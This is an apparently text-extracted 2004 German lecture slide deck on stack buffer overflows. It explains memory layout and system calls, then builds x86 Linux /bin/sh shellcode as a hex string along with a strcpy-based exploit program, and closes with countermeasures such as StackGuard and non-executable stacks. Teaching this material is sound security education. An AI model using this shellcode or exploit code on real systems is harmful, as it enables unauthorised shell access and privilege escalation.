B UFFER OVERFLOWS H INTERGR ÜNDE UND S CHUTZMECHANISMEN B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Q UARITSCH M ARKUS <[email protected]> W INKLER T HOMAS <[email protected]> Gegenmaßnahmen Literatur 7. Mai 2004 slides created with LATEX 2ε Slide 1/39 E INLEITUNG Angriffsmuster von Buffer Overflows schon lange bekannt und verstanden nach wie vor hohe Anzahl von Exploits die auf Buffer Overflows basieren B UFFER OVERFLOWS Einleitung Grundlagen einschleusen und ausführen von fremdem Code Shellcode eingeschleuster Code läuft mit den selben Gegenmaßnahmen Exploits Literatur Rechten wie das attackierte Programm c 2004 Quaritsch Markus, Winkler Thomas Slide 2/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 3/39 G RUNDLAGEN A NMERKUNGEN einfache Stack basierte Overflows gezeigter Code ist für Intel Plattformen – Prinzipien aber auch für andere Plattformen ähnlich B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits B UFFER OVERFLOWS - G RUNDPRINZIP Gegenmaßnahmen Literatur bereits vorhandenen Programmcode ausnützen eigenen Code in Programm einschleusen (code injection) Programmfluss so verändern, dass eingeschleuster Code angesprungen wird (control flow corruption) c 2004 Quaritsch Markus, Winkler Thomas Slide 4/39 VORHANDENEN C ODE NUTZEN schon im Programm vorhandenen Code ausnützen z.B. exec(arg) Aufruf vorhanden B UFFER OVERFLOWS Aufruf entsprechend parametrisieren (arg auf /bin/sh zeigen lassen) Einleitung Grundlagen Shellcode EIGENEN C ODE EINSCHLEUSEN Exploits Gegenmaßnahmen Literatur Programm nimmt vom User Input entgegen Input wird in Buffer geschrieben beim Input handelt es sich um String mit CPU Instruktionen für die Plattform (z.B. shellcode) Buffer-Grenzen werden bei code injection nicht unbedingt überschritten c 2004 Quaritsch Markus, Winkler Thomas Slide 5/39 P ROZESS L AYOUT IM S PEICHER (E XKURS ) Text Section: beinhaltet den Programmcode (Instruktionen), read-only Data Section: beinhaltet initialisierte und uninitialisierte Daten Stack: LIFO (last in first out), PUSH und POP Operationen B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 6/39 S TACK (E XKURS ) Stack beinhaltet dynamische Variablen (auto-Variablen) weiters: Rücksprungadressen, Parameter, ... ESP Register: Stack Pointer zeigt auf letztes Element am Stack (x86) – jenes Element das zuletzt per PUSH auf den Stack gelegt wurde B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Stack wächst nach unten – d.h. ein PUSH Literatur erniedrigt den Inhalt von ESP relative adressing – Elemente am Stack werden relativ zur Adresse in EBP (Base Pointer) adressiert c 2004 Quaritsch Markus, Winkler Thomas Slide 7/39 I NSTRUCTION P OINTER EIP Inhalt zeigt auf nächste auszuführende Instruktion B UFFER OVERFLOWS F UNKTIONSAUFRUF Parameter werden auf Stack gelegt CALL Instruktion: legt aktuellen Inhalt von EIP (= Adresse der Instruktion nach CALL Aufruf = return address) auf Stack und schreibt Adresse der aufgerufenen Funktion in EIP (Funktion wird als nächstes ausgeführt) c 2004 Quaritsch Markus, Winkler Thomas Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Slide 8/39 aufgerufene Funktion sichert EBP auf Stack, schreibt Inhalt von ESP nach EBP und erniedrigt ESP (Platz für lokale Variablen schaffen) Funktion läuft bis zum Ende... LEAVE Instruktion: Inhalt von EBP in ESP schreiben, EBP vom Stack restaurieren B UFFER OVERFLOWS Einleitung Grundlagen Shellcode RET Instruktion: liest return address vom Stack und schreibt sie in EIP Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 9/39 1 2 3 4 5 6 7 8 9 10 11 void f u n c t i o n ( i n t a , i n t b , i n t c ) { char b u f f e r 1 [ 5 ] ; char b u f f e r 2 [ 1 0 ] ; } Einleitung int main() { function(1, 2, 3); return 0; } Grundlagen Shellcode Exploits Gegenmaßnahmen Listing 1: Funktionsaufruf 1 2 3 4 5 6 B UFFER OVERFLOWS [...] movl movl movl call [...] Literatur $3 , 8 ( % esp ) $2 , 4 ( % esp ) $1 , ( % esp ) function Listing 2: main (asm) c 2004 Quaritsch Markus, Winkler Thomas Slide 10/39 1 2 3 4 5 6 7 8 9 10 11 void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } Einleitung i n t main ( ) { function (1 , 2 , 3); return 0 ; } Listing 3: Funktionsaufruf 1 2 3 4 5 B UFFER OVERFLOWS pushl movl subl leave ret Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur %ebp %esp , % ebp $40 , % esp Listing 4: function (asm) c 2004 Quaritsch Markus, Winkler Thomas Slide 11/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 12/39 C ONTROL F LOW C ORRUPTION Abänderung des Kontrollflusses über Grenzen eines Buffers hinaus schreiben und so benachbarten Speicher modifizieren Überschreiben der Rücksprungadresse am Stack mit anderer Adresse nach Beendigung der Funktion wird diese Adresse in EIP gelesen und Abarbeitung setzt dort fort B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Ausnützung durch Overflow eines lokalen Buffers Alternative: Function Pointers können auf selbe Art und Weise überschrieben werden – wenn Programm dann den Function Pointer aufruft, wird eingeschleuster Code ausgeführt c 2004 Quaritsch Markus, Winkler Thomas Slide 13/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 14/39 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void f u n c t i o n ( char ∗ s t r ) { char b u f f e r [ 1 6 ] ; B UFFER OVERFLOWS strcpy ( buffer , s t r ) ; } Einleitung i n t main ( ) { char l a r g e s t r i n g [ 2 5 6 ] ; int i ; f o r ( i = 0 ; i < 2 5 5 ; i ++) l a r g e s t r i n g [ i ] = ’A ’ ; Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur function ( large string ) ; } Listing 5: überschreiben der Rücksprungadresse mit ungültiger Adresse c 2004 Quaritsch Markus, Winkler Thomas Slide 15/39 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void f u n c t i o n ( i n t a , i n t b , i n t c ) { char b u f f e r 1 [ 5 ] ; char b u f f e r 2 [ 1 0 ] ; int ∗ ret ; ret = ( int ∗) buffer1 + 7 ; (∗ ret ) + = 7 ; / ∗ 4 ∗ 7 = 2 8 Bytes ∗ / } B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits i n t main ( ) { Gegenmaßnahmen int x ; Literatur x = 0; function (1 , 2 , 3); x = 1; p r i n t f ( ”%d\n ” , x ) ; } Listing 6: überschreiben der Rücksprungadresse c 2004 Quaritsch Markus, Winkler Thomas Slide 16/39 S YSTEMCALLS Aufruf von Services“ des Kernels z.B.: I I I I ” Filesystem Operationen Netzwerkfunktionen Prozessverwaltung ... B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Direkter Funktionsaufruf nicht möglich Userspace ⇐⇒ Kernelspace Gegenmaßnahmen Literatur Wechsel in Kernelmode architekturabhängig. IA32: Auslösen eines Software-Interrupts (0x80) c 2004 Quaritsch Markus, Winkler Thomas Slide 17/39 S YSTEMCALLS ( CONT ’ D ) Jedem Systemcall wird eindeutige Nummer zugewiesen Parameterübergabe über Register I Nur primitive Datentypen (32 Bit) I Max. 5 Parameter möglich I Komplexe Datenstrukturen per Referenz Register EAX enthält Nummer des Systemcalls c 2004 Quaritsch Markus, Winkler Thomas B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Slide 18/39 S HELLCODE Ziel eines Buffer Overflows: Code mit Rechten eines anderen Benutzers ausführen. Bei lokalen Exploits etwa ausführen einer Shell B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 19/39 S TARTEN EINER S HELL 1 i n t main ( ) { 2 char ∗ name [ 2 ] ; 3 4 name[0] = ”/bin/sh”; 5 name[1] = NULL; 6 7 execve ( name [ 0 ] , name , NULL ) ; 8 } Listing 7: spawn a shell B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur 1 2 3 4 [...] movl movl [...] $0x8095ee8 , 0 x f f f f f f f 8 (%ebp ) $0x0 , 0 x f f f f f f f c (%ebp ) Listing 8: spawn a shell (asm) c 2004 Quaritsch Markus, Winkler Thomas Slide 20/39 1 int 2 3 4 5 6 7 8 } main ( ) { char ∗ name [ 2 ] ; name [ 0 ] = ” / b i n / sh ” ; name [ 1 ] = NULL ; execve(name[0], name, NULL); Listing 9: spawn a shell B UFFER OVERFLOWS Einleitung Grundlagen Shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [...] movl lea mov mov mov call [...] mov mov mov mov int [...] Exploits $0x0 , 0 x8(%esp , 1 ) 0 x f f f f f f f 8 (%ebp) ,% eax %eax , 0 x4(%esp , 1 ) 0 x f f f f f f f 8 (%ebp) ,% eax %eax ,(% esp , 1 ) 0x804def0 < execve> Gegenmaßnahmen Literatur 0x8(%ebp) ,% ebx 0xc(%ebp) ,% ecx 0x10(%ebp) ,% edx $0xb,%eax $0x80 Listing 10: execve c 2004 Quaritsch Markus, Winkler Thomas Slide 21/39 GRACEFUL E XIT B UFFER OVERFLOWS 1 # include < s t d l i b . h> 2 3 i n t main ( ) { 4 exit (0); 5 } Einleitung Listing 11: a simple exit Grundlagen Shellcode Exploits Gegenmaßnahmen 1 2 3 4 5 6 7 8 9 10 [...] mov sub movl call [...] mov mov int [...] Literatur $0x0,%eax %eax,%esp $0x0 ,(% esp , 1 ) 0x8048b40 < e x i t> 0x4(%esp ,1) ,% ebx $0x1,%eax $0x80 Listing 12: exit in assembler c 2004 Quaritsch Markus, Winkler Thomas Slide 22/39 A LL TOGETHER Ausführen einer Shell: I I I I I I I Nullterminierter String /bin/sh im Speicher Adresse des Strings gefolgt von NULL-Word 0xB in Register EAX Adresse von /bin/sh in Register EBX Adresse von /bin/sh in Register ECX Adresse des NULL-Words in Register EDX Interrupt 0x80 auslösen B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Sauberes Beenden: I 0x1 in Register EAX I 0x0 in Register EBX I Interrupt 0x80 auslösen c 2004 Quaritsch Markus, Winkler Thomas Slide 23/39 P ROBLEM Position des Codes im Speicher ist nicht bekannt Lösung: I JMP hinter Exploit-Code (relative Adresse) I CALL zu Exploit-Code (relative Adresse) Return-Adresse wird am Stack abgelegt = Startadresse des Strings /bin/sh B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 24/39 R EALISIERUNG IN A SSEMBLER 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 jmp popl movl movb movl movl movl leal leal int .+0 x2c %e s i %e s i , 0 x8(% e s i ) $0x0 , 0 x7(% e s i ) $0x0 , 0 xc(% e s i ) $0xb , % eax %e s i , % ebx 0x8(% e s i ) , % ecx 0xc(% e s i ) , % edx $0x80 movl movl int call . string $0x1 , % eax $0x0 , % ebx $0x80 .−0x2a ” / b i n / sh ” B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Listing 13: Realisierung in Assembler Bestimmung der Offsets bei JMP und CALL über Berechnung der Länge der Befehle in Byte (oder ausprobieren mit einem Debugger ;-) c 2004 Quaritsch Markus, Winkler Thomas Slide 25/39 W EITERES P ROBLEM Exploit-Code darf keine Null-Bytes enthalten B UFFER OVERFLOWS Entfernung dieser Anweisungen: movb movl $0x0 , 0 x7(% e s i ) $0x0 , 0 xc(% e s i ) xorl movb movl %eax , % eax %eax , 0 x7(% e s i ) %eax , 0 xc(% e s i ) Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur movb movl $0x1 , % eax $0x0 , % ebx xorl movl inc c 2004 Quaritsch Markus, Winkler Thomas %ebx , % ebx %ebx , % eax %eax Slide 26/39 S PAWNING A S HELL (2) 1 2 3 4 5 6 7 8 9 10 11 12 13 B UFFER OVERFLOWS # include < s t d i o . h> char s h e l l c o d e [ ] = ” \xeb\ x 1 f \x5e\x89\x76\x08\x31\ xc0 \x88\x46 ” ” \x07\x89\x46\ x0c \xb0\x0b\x89\ x f 3 \x8d\x4e ” ” \x08\x8d\x56\ x0c \ xcd \x80\x31\xdb\x89\xd8 ” ” \x40\ xcd \x80\xe8\ xdc \ x f f \ x f f \ x f f / b i n / sh ” ; Einleitung Grundlagen Shellcode i n t main ( ) { int ∗ ret ; Exploits Gegenmaßnahmen ret = ( int ∗)& ret + 2 ; (∗ r e t ) = ( int ) shellcode ; Literatur } Listing 14: testing c 2004 Quaritsch Markus, Winkler Thomas Slide 27/39 E XPLOITS √ √ √ Programm mit Buffer Overflow vulnerability Code der ausgeführt werden soll Verändern der Return-Adresse damit eingeschleuster Code ausgeführt wird B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 28/39 E IN ERSTER V ERSUCH 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 char s h e l l c o d e [ ] = ” \xeb\ x 1 f \x5e\x89\x76\x08\x31\ xc0 \x88\x46\x07 ” ” \x89\x46\ x0c \xb0\x0b\x89\ x f 3 \x8d\x4e\x08\x8d ” ” \x56\ x0c \ xcd \x80\x31\xdb\x89\xd8\x40\ xcd \x80 ” ” \xe8\ xdc \ x f f \ x f f \ x f f / b i n / sh ” ; B UFFER OVERFLOWS Einleitung char l a r g e s t r i n g [ 1 2 8 ] ; Grundlagen i n t main ( ) { char b u f f e r [ 9 6 ] ; int i ; long ∗ l o n g p t r = ( long ∗ ) l a r g e s t r i n g ; Shellcode Exploits Gegenmaßnahmen Literatur f o r ( i = 0 ; i < ( s i z e o f ( l a r g e s t r i n g ) / s i z e o f ( long ) ) ; i + + ) { ∗( long ptr + i ) = ( int ) buffer ; } for ( i = 0 ; i < s t r l e n ( shellcode ) ; i ++) { l a r g e s t r i n g [ i ] = shellcode [ i ] ; } strcpy ( buffer , large string ) ; } Listing 15: exploit1 c 2004 Quaritsch Markus, Winkler Thomas Slide 29/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Offene Punkte modifizierte Return-Adresse Position der Return-Adresse Größe des Buffers c 2004 Quaritsch Markus, Winkler Thomas Slide 30/39 R ETURN -A DRESSE Beginn des Stacks immer an der gleichen Stelle Programme legen meist nicht mehr als einige hundert Bytes auf den Stack ⇒ Position der Return-Adresse gut schätzen B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits neue Return-Adresse muss exakt stimmen sonst Segmentation Fault oder Illegal Instruction Gegenmaßnahmen Literatur ⇒ Einfügen von NOP’s vor eigentlichem Exploit c 2004 Quaritsch Markus, Winkler Thomas Slide 31/39 G EGENMASSNAHMEN W RITING CORRECT CODE irren ist menschlich Fehler von Sprachen wie C ,,provoziert“?! z.B. strncpy statt strcpy verwenden code auditing, fault injection tools, ... keine Garantie für sicheren Code!!! c 2004 Quaritsch Markus, Winkler Thomas B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Slide 32/39 N ON -E XECUTABLE S TACK verhindert Ausführung von Code der im Stack steht z.B.: ExecShield (Kernel Patch) B UFFER OVERFLOWS kein Schutz gegen das Ausführen von schon im Programm vorhandendem Code Alternativen: fremden Code in Heap einschleusen Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 33/39 A RRAY B OUNDS C HECKING Prüfung der Buffer-Grenzen kann Buffer-Overflows zur Gänze verhindern read und write Operationen auf Arrays müssen geprüft werden keine effizienten, praxistauglichen Lösungen verfügbar (Ausnahme: Rational Purify zur Code Analyse) B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Type-Safe Languages fehlenden Typsicherheit in C Abhilfe: Verwendung typsicherer Sprachen wie z.B. Java JVM ist in C geschrieben - Angriffe auf JVM selbst? c 2004 Quaritsch Markus, Winkler Thomas Slide 34/39 C ODE P OINTER I NTEGRITY C HECKING statt Verhinderung Erkennung von veränderten Pointern vor Dereferenzierung nicht selbe Sicherheit wie Bounds Checking wesentlich performanter als Bounds Checking (Prüfung bei Dereferenzierung statt bei jedem read/write) B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen geringerer Implementierungsaufwand Literatur höhere Kompatibilität zu existierendem Code StackGuard I Integritätsprüfung für Rücksprungadressen I gcc Patch – Neukompilierung von Programmen notwendig I ,,Canary“ wird neben Rücksprungadresse platziert und bei Rückkehr geprüft c 2004 Quaritsch Markus, Winkler Thomas Slide 35/39 I Canary fälschungssicher machen: Canary besteht aus speziellen Zeichen (0, CR, LF, EOF) die der Angreifer nicht in Overflow String einbetten kann (wg. C Library) I zusätzlich ,,Random Canary“ I Performance Impact vernachlässigbar I PointGuard: platziert Canaries auch bei Funktionspointern B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 36/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur c 2004 Quaritsch Markus, Winkler Thomas Slide 37/39 L ITERATUR Smashing the Stack for Fun an Profit (http://www.phrack.org/show.php?p=49&a=14) Buffer Overflows: Attacks and Defenses for the B UFFER OVERFLOWS Vulnerability of the Decade Einleitung (http://www.cse.ogi.edu/DISC/projects/immunix/discex00.pdf) Shellcode Grundlagen Exploits Buffer Overflows Demystified (http://www.enderunix.org/docs/eng/bof-eng.txt) Gegenmaßnahmen Literatur . . . und Google findet jede Menge mehr . . . c 2004 Quaritsch Markus, Winkler Thomas Slide 38/39 B UFFER OVERFLOWS Einleitung Grundlagen Shellcode Exploits Gegenmaßnahmen Literatur Danke für die Aufmerksamkeit! c 2004 Quaritsch Markus, Winkler Thomas Slide 39/39